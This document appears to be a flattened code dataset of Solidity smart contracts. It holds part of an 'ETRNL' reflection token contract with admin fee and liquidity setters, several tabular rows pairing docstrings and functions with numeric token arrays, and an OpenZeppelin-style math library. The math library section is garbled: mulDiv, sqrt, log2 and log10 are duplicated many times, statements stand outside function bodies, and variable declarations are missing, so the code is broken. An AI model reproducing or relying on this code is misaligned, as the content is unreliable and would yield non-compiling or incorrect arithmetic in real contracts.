* If the contract's balance threshold is reached, also initiates automatic liquidity provision.
* @param sender The address of whom the ETRNL is being transferred from
* @param amount The amount of ETRNL being transferred
* @param reflectedAmount The reflected amount of ETRNL being transferred
*/
function storeLiquidityFunds(address sender, uint256 amount, uint256 reflectedAmount) private {
// Update the contract's balance to account for the liquidity provision fee
reflectedBalances[address(this)] += reflectedAmount;
trueBalances[address(this)] += amount;
// Check whether the contract's balance threshold is reached; if so, initiate a liquidity swap
uint256 contractBalance = balanceOf(address(this));
if ((contractBalance >= tokenLiquidityThreshold) && (sender != eternalLiquidity.viewPair())) {
_transfer(address(this), address(eternalLiquidity), contractBalance);
eternalLiquidity.provideLiquidity(contractBalance);
}
}
/////–––««« Owner/Fund-only functions »»»––––\\\\\
/**
* @dev Excludes a given wallet or contract's address from accruing rewards. (Admin and Fund only)
* @param account The wallet or contract's address
*
* Requirements:
* – Account must not already be excluded from rewards.
*/
function excludeFromReward(address account) public onlyAdminAndFund() {
require(!isExcludedFromRewards[account], "Account is already excluded");
if(reflectedBalances[account] > 0) {
// Compute the true token balance from non-empty reflected balances and update it
// since we must use both reflected and true balances to make our reflected-to-total ratio even
trueBalances[account] = convertFromReflectedToTrueAmount(reflectedBalances[account]);
}
isExcludedFromRewards[account] = true;
excludedAddresses.push(account);
}
/**
* @dev Allows a given wallet or contract's address to accrue rewards. (Admin and Fund only)
* @param account The wallet or contract's address
*
* Requirements:
* – Account must not already be accruing rewards.
*/
function includeInReward(address account) external onlyAdminAndFund() {
require(isExcludedFromRewards[account], "Account is already included");
for (uint i = 0; i < excludedAddresses.length; i++) {
if (excludedAddresses[i] == account) {
// Swap last address with current address we want to include so that we can delete it
excludedAddresses[i] = excludedAddresses[excludedAddresses.length - 1];
// Set its deposit liabilities to 0 since we use the reserve balance for reward-accruing addresses
trueBalances[account] = 0;
excludedAddresses.pop();
isExcludedFromRewards[account] = false;
break;
}
}
}
/**
* @dev Sets the value of a given rate to a given rate type. (Admin and Fund only)
* @param rate The type of the specified rate
* @param newRate The specified new rate value
*
* Requirements:
*
* - Rate type must be either Liquidity, Funding, Redistribution or Burn
* - Rate value must be positive
* - The sum of all rates cannot exceed 25 percent
*/
function setRate(Rate rate, uint16 newRate) external override onlyAdminAndFund() {
require((uint(rate) >= 0 && uint(rate) <= 3), "Invalid rate type");
require(newRate >= 0, "The new rate must be positive");
uint256 oldRate;
if (rate == Rate.Liquidity) {
require((newRate + fundingRate + redistributionRate + burnRate) < 25, "Total rate exceeds 25%");
oldRate = liquidityProvisionRate;
liquidityProvisionRate = newRate;
} else if (rate == Rate.Funding) {
require((liquidityProvisionRate + newRate + redistributionRate + burnRate) < 25, "Total rate exceeds 25%");
oldRate = fundingRate;
fundingRate = newRate;
} else if (rate == Rate.Redistribution) {
require((liquidityProvisionRate + fundingRate + newRate + burnRate) < 25, "Total rate exceeds 25%");
oldRate = redistributionRate;
redistributionRate = newRate;
} else {
require((liquidityProvisionRate + fundingRate + redistributionRate + newRate) < 25, "Total rate exceeds 25%");
oldRate = burnRate;
burnRate = newRate;
}
emit UpdateRate(oldRate, newRate, rate);
}
/**
* @dev Updates the threshold of ETRNL at which the contract provides liquidity to a given value.
* @param value The new token liquidity threshold
*/
function setLiquidityThreshold(uint256 value) external override onlyFund() {
uint256 oldThreshold = tokenLiquidityThreshold;
tokenLiquidityThreshold = value;
emit UpdateLiquidityThreshold(oldThreshold, tokenLiquidityThreshold);
}
/**
* @dev Updates the address of the Eternal Liquidity contract
* @param newContract The new address for the Eternal Liquidity contract
*/
function setEternalLiquidity(address newContract) external override onlyAdminAndFund() {
address oldContract = address(eternalLiquidity);
eternalLiquidity = IEternalLiquidity(newContract);
emit UpdateEternalLiquidity(oldContract, newContract);
}
/**
* @dev Attributes a given address to the Eternal Fund variable in this contract. (Admin and Fund only)
* @param _fund The specified address of the designated fund
*/
function designateFund(address _fund) external override onlyAdminAndFund() {
isExcludedFromFees[fund()] = false;
isExcludedFromFees[_fund] = true;
attributeFundRights(_fund);
}
} | * @dev View the allowance of a given owner address for a given spender address. @param owner The address of whom we are checking the allowance of @param spender The address of whom we are checking the allowance for @return The allowance of the owner for the spender/ | function allowance(address owner, address spender) external view override returns (uint256){
return allowances[owner][spender];
}
| 6,406,085 | [
1,
1767,
326,
1699,
1359,
434,
279,
864,
3410,
1758,
364,
279,
864,
17571,
264,
1758,
18,
225,
3410,
1021,
1758,
434,
600,
362,
732,
854,
6728,
326,
1699,
1359,
434,
225,
17571,
264,
1021,
1758,
434,
600,
362,
732,
854,
6728,
326,
1699,
1359,
364,
327,
1021,
1699,
1359,
434,
326,
3410,
364,
326,
17571,
264,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
1699,
1359,
12,
2867,
3410,
16,
1758,
17571,
264,
13,
3903,
1476,
3849,
1135,
261,
11890,
5034,
15329,
203,
3639,
327,
1699,
6872,
63,
8443,
6362,
87,
1302,
264,
15533,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
./partial_match/1/0x5fa60726E62c50Af45Ff2F6280C468DA438A7837/sources/contracts/exchangeV2/Signatures.sol | * @notice Create an EIP712 domain separator @param eip712DomainTypehash Typehash of the EIP712Domain struct @param nameHash Hash of the contract name @param versionHash Hash of the version string @param proxy Address of the proxy this implementation will be behind @return EIP712Domain hash/ | function _hashDomain(
bytes32 eip712DomainTypehash,
bytes32 nameHash,
bytes32 versionHash,
address proxy
) private view returns (bytes32) {
return
keccak256(
abi.encode(eip712DomainTypehash, nameHash, versionHash, block.chainid, proxy)
);
}
| 4,003,383 | [
1,
1684,
392,
512,
2579,
27,
2138,
2461,
4182,
225,
425,
625,
27,
2138,
3748,
559,
2816,
1412,
2816,
434,
326,
512,
2579,
27,
2138,
3748,
1958,
225,
508,
2310,
2474,
434,
326,
6835,
508,
225,
1177,
2310,
2474,
434,
326,
1177,
533,
225,
2889,
5267,
434,
326,
2889,
333,
4471,
903,
506,
21478,
327,
512,
2579,
27,
2138,
3748,
1651,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
389,
2816,
3748,
12,
203,
3639,
1731,
1578,
425,
625,
27,
2138,
3748,
559,
2816,
16,
203,
3639,
1731,
1578,
508,
2310,
16,
203,
3639,
1731,
1578,
1177,
2310,
16,
203,
3639,
1758,
2889,
203,
565,
262,
3238,
1476,
1135,
261,
3890,
1578,
13,
288,
203,
3639,
327,
203,
5411,
417,
24410,
581,
5034,
12,
203,
7734,
24126,
18,
3015,
12,
73,
625,
27,
2138,
3748,
559,
2816,
16,
508,
2310,
16,
1177,
2310,
16,
1203,
18,
5639,
350,
16,
2889,
13,
203,
5411,
11272,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
./full_match/1/0xBf3B3b9368262Ed9BD06B621149CA947984D1B31/sources/@openzeppelin/contracts-upgradeable/utils/math/MathUpgradeable.sol | * @dev Standard math utilities missing in the Solidity language./ | library MathUpgradeable {
enum Rounding {
}
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a > b ? a : b;
}
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
function average(uint256 a, uint256 b) internal pure returns (uint256) {
return (a & b) + (a ^ b) / 2;
}
function ceilDiv(uint256 a, uint256 b) internal pure returns (uint256) {
return a == 0 ? 0 : (a - 1) / b + 1;
}
function mulDiv(uint256 x, uint256 y, uint256 denominator) internal pure returns (uint256 result) {
unchecked {
assembly {
let mm := mulmod(x, y, not(0))
prod0 := mul(x, y)
prod1 := sub(sub(mm, prod0), lt(mm, prod0))
}
if (prod1 == 0) {
return prod0 / denominator;
}
assembly {
remainder := mulmod(x, y, denominator)
prod1 := sub(prod1, gt(remainder, prod0))
prod0 := sub(prod0, remainder)
}
assembly {
denominator := div(denominator, twos)
prod0 := div(prod0, twos)
twos := add(div(sub(0, twos), twos), 1)
}
return result;
}
}
function mulDiv(uint256 x, uint256 y, uint256 denominator) internal pure returns (uint256 result) {
unchecked {
assembly {
let mm := mulmod(x, y, not(0))
prod0 := mul(x, y)
prod1 := sub(sub(mm, prod0), lt(mm, prod0))
}
if (prod1 == 0) {
return prod0 / denominator;
}
assembly {
remainder := mulmod(x, y, denominator)
prod1 := sub(prod1, gt(remainder, prod0))
prod0 := sub(prod0, remainder)
}
assembly {
denominator := div(denominator, twos)
prod0 := div(prod0, twos)
twos := add(div(sub(0, twos), twos), 1)
}
return result;
}
}
function mulDiv(uint256 x, uint256 y, uint256 denominator) internal pure returns (uint256 result) {
unchecked {
assembly {
let mm := mulmod(x, y, not(0))
prod0 := mul(x, y)
prod1 := sub(sub(mm, prod0), lt(mm, prod0))
}
if (prod1 == 0) {
return prod0 / denominator;
}
assembly {
remainder := mulmod(x, y, denominator)
prod1 := sub(prod1, gt(remainder, prod0))
prod0 := sub(prod0, remainder)
}
assembly {
denominator := div(denominator, twos)
prod0 := div(prod0, twos)
twos := add(div(sub(0, twos), twos), 1)
}
return result;
}
}
function mulDiv(uint256 x, uint256 y, uint256 denominator) internal pure returns (uint256 result) {
unchecked {
assembly {
let mm := mulmod(x, y, not(0))
prod0 := mul(x, y)
prod1 := sub(sub(mm, prod0), lt(mm, prod0))
}
if (prod1 == 0) {
return prod0 / denominator;
}
assembly {
remainder := mulmod(x, y, denominator)
prod1 := sub(prod1, gt(remainder, prod0))
prod0 := sub(prod0, remainder)
}
assembly {
denominator := div(denominator, twos)
prod0 := div(prod0, twos)
twos := add(div(sub(0, twos), twos), 1)
}
return result;
}
}
require(denominator > prod1, "Math: mulDiv overflow");
uint256 remainder;
function mulDiv(uint256 x, uint256 y, uint256 denominator) internal pure returns (uint256 result) {
unchecked {
assembly {
let mm := mulmod(x, y, not(0))
prod0 := mul(x, y)
prod1 := sub(sub(mm, prod0), lt(mm, prod0))
}
if (prod1 == 0) {
return prod0 / denominator;
}
assembly {
remainder := mulmod(x, y, denominator)
prod1 := sub(prod1, gt(remainder, prod0))
prod0 := sub(prod0, remainder)
}
assembly {
denominator := div(denominator, twos)
prod0 := div(prod0, twos)
twos := add(div(sub(0, twos), twos), 1)
}
return result;
}
}
uint256 twos = denominator & (~denominator + 1);
function mulDiv(uint256 x, uint256 y, uint256 denominator) internal pure returns (uint256 result) {
unchecked {
assembly {
let mm := mulmod(x, y, not(0))
prod0 := mul(x, y)
prod1 := sub(sub(mm, prod0), lt(mm, prod0))
}
if (prod1 == 0) {
return prod0 / denominator;
}
assembly {
remainder := mulmod(x, y, denominator)
prod1 := sub(prod1, gt(remainder, prod0))
prod0 := sub(prod0, remainder)
}
assembly {
denominator := div(denominator, twos)
prod0 := div(prod0, twos)
twos := add(div(sub(0, twos), twos), 1)
}
return result;
}
}
prod0 |= prod1 * twos;
uint256 inverse = (3 * denominator) ^ 2;
result = prod0 * inverse;
function mulDiv(uint256 x, uint256 y, uint256 denominator, Rounding rounding) internal pure returns (uint256) {
uint256 result = mulDiv(x, y, denominator);
if (rounding == Rounding.Up && mulmod(x, y, denominator) > 0) {
result += 1;
}
return result;
}
function mulDiv(uint256 x, uint256 y, uint256 denominator, Rounding rounding) internal pure returns (uint256) {
uint256 result = mulDiv(x, y, denominator);
if (rounding == Rounding.Up && mulmod(x, y, denominator) > 0) {
result += 1;
}
return result;
}
function sqrt(uint256 a) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
unchecked {
result = (result + a / result) >> 1;
result = (result + a / result) >> 1;
result = (result + a / result) >> 1;
result = (result + a / result) >> 1;
result = (result + a / result) >> 1;
result = (result + a / result) >> 1;
result = (result + a / result) >> 1;
return min(result, a / result);
}
}
function sqrt(uint256 a) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
unchecked {
result = (result + a / result) >> 1;
result = (result + a / result) >> 1;
result = (result + a / result) >> 1;
result = (result + a / result) >> 1;
result = (result + a / result) >> 1;
result = (result + a / result) >> 1;
result = (result + a / result) >> 1;
return min(result, a / result);
}
}
uint256 result = 1 << (log2(a) >> 1);
function sqrt(uint256 a) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
unchecked {
result = (result + a / result) >> 1;
result = (result + a / result) >> 1;
result = (result + a / result) >> 1;
result = (result + a / result) >> 1;
result = (result + a / result) >> 1;
result = (result + a / result) >> 1;
result = (result + a / result) >> 1;
return min(result, a / result);
}
}
function sqrt(uint256 a, Rounding rounding) internal pure returns (uint256) {
unchecked {
uint256 result = sqrt(a);
return result + (rounding == Rounding.Up && result * result < a ? 1 : 0);
}
}
function sqrt(uint256 a, Rounding rounding) internal pure returns (uint256) {
unchecked {
uint256 result = sqrt(a);
return result + (rounding == Rounding.Up && result * result < a ? 1 : 0);
}
}
function log2(uint256 value) internal pure returns (uint256) {
uint256 result = 0;
unchecked {
if (value >> 128 > 0) {
value >>= 128;
result += 128;
}
if (value >> 64 > 0) {
value >>= 64;
result += 64;
}
if (value >> 32 > 0) {
value >>= 32;
result += 32;
}
if (value >> 16 > 0) {
value >>= 16;
result += 16;
}
if (value >> 8 > 0) {
value >>= 8;
result += 8;
}
if (value >> 4 > 0) {
value >>= 4;
result += 4;
}
if (value >> 2 > 0) {
value >>= 2;
result += 2;
}
if (value >> 1 > 0) {
result += 1;
}
}
return result;
}
function log2(uint256 value) internal pure returns (uint256) {
uint256 result = 0;
unchecked {
if (value >> 128 > 0) {
value >>= 128;
result += 128;
}
if (value >> 64 > 0) {
value >>= 64;
result += 64;
}
if (value >> 32 > 0) {
value >>= 32;
result += 32;
}
if (value >> 16 > 0) {
value >>= 16;
result += 16;
}
if (value >> 8 > 0) {
value >>= 8;
result += 8;
}
if (value >> 4 > 0) {
value >>= 4;
result += 4;
}
if (value >> 2 > 0) {
value >>= 2;
result += 2;
}
if (value >> 1 > 0) {
result += 1;
}
}
return result;
}
function log2(uint256 value) internal pure returns (uint256) {
uint256 result = 0;
unchecked {
if (value >> 128 > 0) {
value >>= 128;
result += 128;
}
if (value >> 64 > 0) {
value >>= 64;
result += 64;
}
if (value >> 32 > 0) {
value >>= 32;
result += 32;
}
if (value >> 16 > 0) {
value >>= 16;
result += 16;
}
if (value >> 8 > 0) {
value >>= 8;
result += 8;
}
if (value >> 4 > 0) {
value >>= 4;
result += 4;
}
if (value >> 2 > 0) {
value >>= 2;
result += 2;
}
if (value >> 1 > 0) {
result += 1;
}
}
return result;
}
function log2(uint256 value) internal pure returns (uint256) {
uint256 result = 0;
unchecked {
if (value >> 128 > 0) {
value >>= 128;
result += 128;
}
if (value >> 64 > 0) {
value >>= 64;
result += 64;
}
if (value >> 32 > 0) {
value >>= 32;
result += 32;
}
if (value >> 16 > 0) {
value >>= 16;
result += 16;
}
if (value >> 8 > 0) {
value >>= 8;
result += 8;
}
if (value >> 4 > 0) {
value >>= 4;
result += 4;
}
if (value >> 2 > 0) {
value >>= 2;
result += 2;
}
if (value >> 1 > 0) {
result += 1;
}
}
return result;
}
function log2(uint256 value) internal pure returns (uint256) {
uint256 result = 0;
unchecked {
if (value >> 128 > 0) {
value >>= 128;
result += 128;
}
if (value >> 64 > 0) {
value >>= 64;
result += 64;
}
if (value >> 32 > 0) {
value >>= 32;
result += 32;
}
if (value >> 16 > 0) {
value >>= 16;
result += 16;
}
if (value >> 8 > 0) {
value >>= 8;
result += 8;
}
if (value >> 4 > 0) {
value >>= 4;
result += 4;
}
if (value >> 2 > 0) {
value >>= 2;
result += 2;
}
if (value >> 1 > 0) {
result += 1;
}
}
return result;
}
function log2(uint256 value) internal pure returns (uint256) {
uint256 result = 0;
unchecked {
if (value >> 128 > 0) {
value >>= 128;
result += 128;
}
if (value >> 64 > 0) {
value >>= 64;
result += 64;
}
if (value >> 32 > 0) {
value >>= 32;
result += 32;
}
if (value >> 16 > 0) {
value >>= 16;
result += 16;
}
if (value >> 8 > 0) {
value >>= 8;
result += 8;
}
if (value >> 4 > 0) {
value >>= 4;
result += 4;
}
if (value >> 2 > 0) {
value >>= 2;
result += 2;
}
if (value >> 1 > 0) {
result += 1;
}
}
return result;
}
function log2(uint256 value) internal pure returns (uint256) {
uint256 result = 0;
unchecked {
if (value >> 128 > 0) {
value >>= 128;
result += 128;
}
if (value >> 64 > 0) {
value >>= 64;
result += 64;
}
if (value >> 32 > 0) {
value >>= 32;
result += 32;
}
if (value >> 16 > 0) {
value >>= 16;
result += 16;
}
if (value >> 8 > 0) {
value >>= 8;
result += 8;
}
if (value >> 4 > 0) {
value >>= 4;
result += 4;
}
if (value >> 2 > 0) {
value >>= 2;
result += 2;
}
if (value >> 1 > 0) {
result += 1;
}
}
return result;
}
function log2(uint256 value) internal pure returns (uint256) {
uint256 result = 0;
unchecked {
if (value >> 128 > 0) {
value >>= 128;
result += 128;
}
if (value >> 64 > 0) {
value >>= 64;
result += 64;
}
if (value >> 32 > 0) {
value >>= 32;
result += 32;
}
if (value >> 16 > 0) {
value >>= 16;
result += 16;
}
if (value >> 8 > 0) {
value >>= 8;
result += 8;
}
if (value >> 4 > 0) {
value >>= 4;
result += 4;
}
if (value >> 2 > 0) {
value >>= 2;
result += 2;
}
if (value >> 1 > 0) {
result += 1;
}
}
return result;
}
function log2(uint256 value) internal pure returns (uint256) {
uint256 result = 0;
unchecked {
if (value >> 128 > 0) {
value >>= 128;
result += 128;
}
if (value >> 64 > 0) {
value >>= 64;
result += 64;
}
if (value >> 32 > 0) {
value >>= 32;
result += 32;
}
if (value >> 16 > 0) {
value >>= 16;
result += 16;
}
if (value >> 8 > 0) {
value >>= 8;
result += 8;
}
if (value >> 4 > 0) {
value >>= 4;
result += 4;
}
if (value >> 2 > 0) {
value >>= 2;
result += 2;
}
if (value >> 1 > 0) {
result += 1;
}
}
return result;
}
function log2(uint256 value) internal pure returns (uint256) {
uint256 result = 0;
unchecked {
if (value >> 128 > 0) {
value >>= 128;
result += 128;
}
if (value >> 64 > 0) {
value >>= 64;
result += 64;
}
if (value >> 32 > 0) {
value >>= 32;
result += 32;
}
if (value >> 16 > 0) {
value >>= 16;
result += 16;
}
if (value >> 8 > 0) {
value >>= 8;
result += 8;
}
if (value >> 4 > 0) {
value >>= 4;
result += 4;
}
if (value >> 2 > 0) {
value >>= 2;
result += 2;
}
if (value >> 1 > 0) {
result += 1;
}
}
return result;
}
function log2(uint256 value, Rounding rounding) internal pure returns (uint256) {
unchecked {
uint256 result = log2(value);
return result + (rounding == Rounding.Up && 1 << result < value ? 1 : 0);
}
}
function log2(uint256 value, Rounding rounding) internal pure returns (uint256) {
unchecked {
uint256 result = log2(value);
return result + (rounding == Rounding.Up && 1 << result < value ? 1 : 0);
}
}
function log10(uint256 value) internal pure returns (uint256) {
uint256 result = 0;
unchecked {
if (value >= 10 ** 64) {
value /= 10 ** 64;
result += 64;
}
if (value >= 10 ** 32) {
value /= 10 ** 32;
result += 32;
}
if (value >= 10 ** 16) {
value /= 10 ** 16;
result += 16;
}
if (value >= 10 ** 8) {
value /= 10 ** 8;
result += 8;
}
if (value >= 10 ** 4) {
value /= 10 ** 4;
result += 4;
}
if (value >= 10 ** 2) {
value /= 10 ** 2;
result += 2;
}
if (value >= 10 ** 1) {
result += 1;
}
}
return result;
}
function log10(uint256 value) internal pure returns (uint256) {
uint256 result = 0;
unchecked {
if (value >= 10 ** 64) {
value /= 10 ** 64;
result += 64;
}
if (value >= 10 ** 32) {
value /= 10 ** 32;
result += 32;
}
if (value >= 10 ** 16) {
value /= 10 ** 16;
result += 16;
}
if (value >= 10 ** 8) {
value /= 10 ** 8;
result += 8;
}
if (value >= 10 ** 4) {
value /= 10 ** 4;
result += 4;
}
if (value >= 10 ** 2) {
value /= 10 ** 2;
result += 2;
}
if (value >= 10 ** 1) {
result += 1;
}
}
return result;
}
function log10(uint256 value) internal pure returns (uint256) {
uint256 result = 0;
unchecked {
if (value >= 10 ** 64) {
value /= 10 ** 64;
result += 64;
}
if (value >= 10 ** 32) {
value /= 10 ** 32;
result += 32;
}
if (value >= 10 ** 16) {
value /= 10 ** 16;
result += 16;
}
if (value >= 10 ** 8) {
value /= 10 ** 8;
result += 8;
}
if (value >= 10 ** 4) {
value /= 10 ** 4;
result += 4;
}
if (value >= 10 ** 2) {
value /= 10 ** 2;
result += 2;
}
if (value >= 10 ** 1) {
result += 1;
}
}
return result;
}
function log10(uint256 value) internal pure returns (uint256) {
uint256 result = 0;
unchecked {
if (value >= 10 ** 64) {
value /= 10 ** 64;
result += 64;
}
if (value >= 10 ** 32) {
value /= 10 ** 32;
result += 32;
}
if (value >= 10 ** 16) {
value /= 10 ** 16;
result += 16;
}
if (value >= 10 ** 8) {
value /= 10 ** 8;
result += 8;
}
if (value >= 10 ** 4) {
value /= 10 ** 4;
result += 4;
}
if (value >= 10 ** 2) {
value /= 10 ** 2;
result += 2;
}
if (value >= 10 ** 1) {
result += 1;
}
}
return result;
}
function log10(uint256 value) internal pure returns (uint256) {
uint256 result = 0;
unchecked {
if (value >= 10 ** 64) {
value /= 10 ** 64;
result += 64;
}
if (value >= 10 ** 32) {
value /= 10 ** 32;
result += 32;
}
if (value >= 10 ** 16) {
value /= 10 ** 16;
result += 16;
}
if (value >= 10 ** 8) {
value /= 10 ** 8;
result += 8;
}
if (value >= 10 ** 4) {
value /= 10 ** 4;
result += 4;
}
if (value >= 10 ** 2) {
value /= 10 ** 2;
result += 2;
}
if (value >= 10 ** 1) {
result += 1;
}
}
return result;
}
function log10(uint256 value) internal pure returns (uint256) {
uint256 result = 0;
unchecked {
if (value >= 10 ** 64) {
value /= 10 ** 64;
result += 64;
}
if (value >= 10 ** 32) {
value /= 10 ** 32;
result += 32;
}
if (value >= 10 ** 16) {
value /= 10 ** 16;
result += 16;
}
if (value >= 10 ** 8) {
value /= 10 ** 8;
result += 8;
}
if (value >= 10 ** 4) {
value /= 10 ** 4;
result += 4;
}
if (value >= 10 ** 2) {
value /= 10 ** 2;
result += 2;
}
if (value >= 10 ** 1) {
result += 1;
}
}
return result;
}
function log10(uint256 value) internal pure returns (uint256) {
uint256 result = 0;
unchecked {
if (value >= 10 ** 64) {
value /= 10 ** 64;
result += 64;
}
if (value >= 10 ** 32) {
value /= 10 ** 32;
result += 32;
}
if (value >= 10 ** 16) {
value /= 10 ** 16;
result += 16;
}
if (value >= 10 ** 8) {
value /= 10 ** 8;
result += 8;
}
if (value >= 10 ** 4) {
value /= 10 ** 4;
result += 4;
}
if (value >= 10 ** 2) {
value /= 10 ** 2;
result += 2;
}
if (value >= 10 ** 1) {
result += 1;
}
}
return result;
}
function log10(uint256 value) internal pure returns (uint256) {
uint256 result = 0;
unchecked {
if (value >= 10 ** 64) {
value /= 10 ** 64;
result += 64;
}
if (value >= 10 ** 32) {
value /= 10 ** 32;
result += 32;
}
if (value >= 10 ** 16) {
value /= 10 ** 16;
result += 16;
}
if (value >= 10 ** 8) {
value /= 10 ** 8;
result += 8;
}
if (value >= 10 ** 4) {
value /= 10 ** 4;
result += 4;
}
if (value >= 10 ** 2) {
value /= 10 ** 2;
result += 2;
}
if (value >= 10 ** 1) {
result += 1;
}
}
return result;
}
function log10(uint256 value) internal pure returns (uint256) {
uint256 result = 0;
unchecked {
if (value >= 10 ** 64) {
value /= 10 ** 64;
result += 64;
}
if (value >= 10 ** 32) {
value /= 10 ** 32;
result += 32;
}
if (value >= 10 ** 16) {
value /= 10 ** 16;
result += 16;
}
if (value >= 10 ** 8) {
value /= 10 ** 8;
result += 8;
}
if (value >= 10 ** 4) {
value /= 10 ** 4;
result += 4;
}
if (value >= 10 ** 2) {
value /= 10 ** 2;
result += 2;
}
if (value >= 10 ** 1) {
result += 1;
}
}
return result;
}
function log10(uint256 value, Rounding rounding) internal pure returns (uint256) {
unchecked {
uint256 result = log10(value);
return result + (rounding == Rounding.Up && 10 ** result < value ? 1 : 0);
}
}
function log10(uint256 value, Rounding rounding) internal pure returns (uint256) {
unchecked {
uint256 result = log10(value);
return result + (rounding == Rounding.Up && 10 ** result < value ? 1 : 0);
}
}
function log256(uint256 value) internal pure returns (uint256) {
uint256 result = 0;
unchecked {
if (value >> 128 > 0) {
value >>= 128;
result += 16;
}
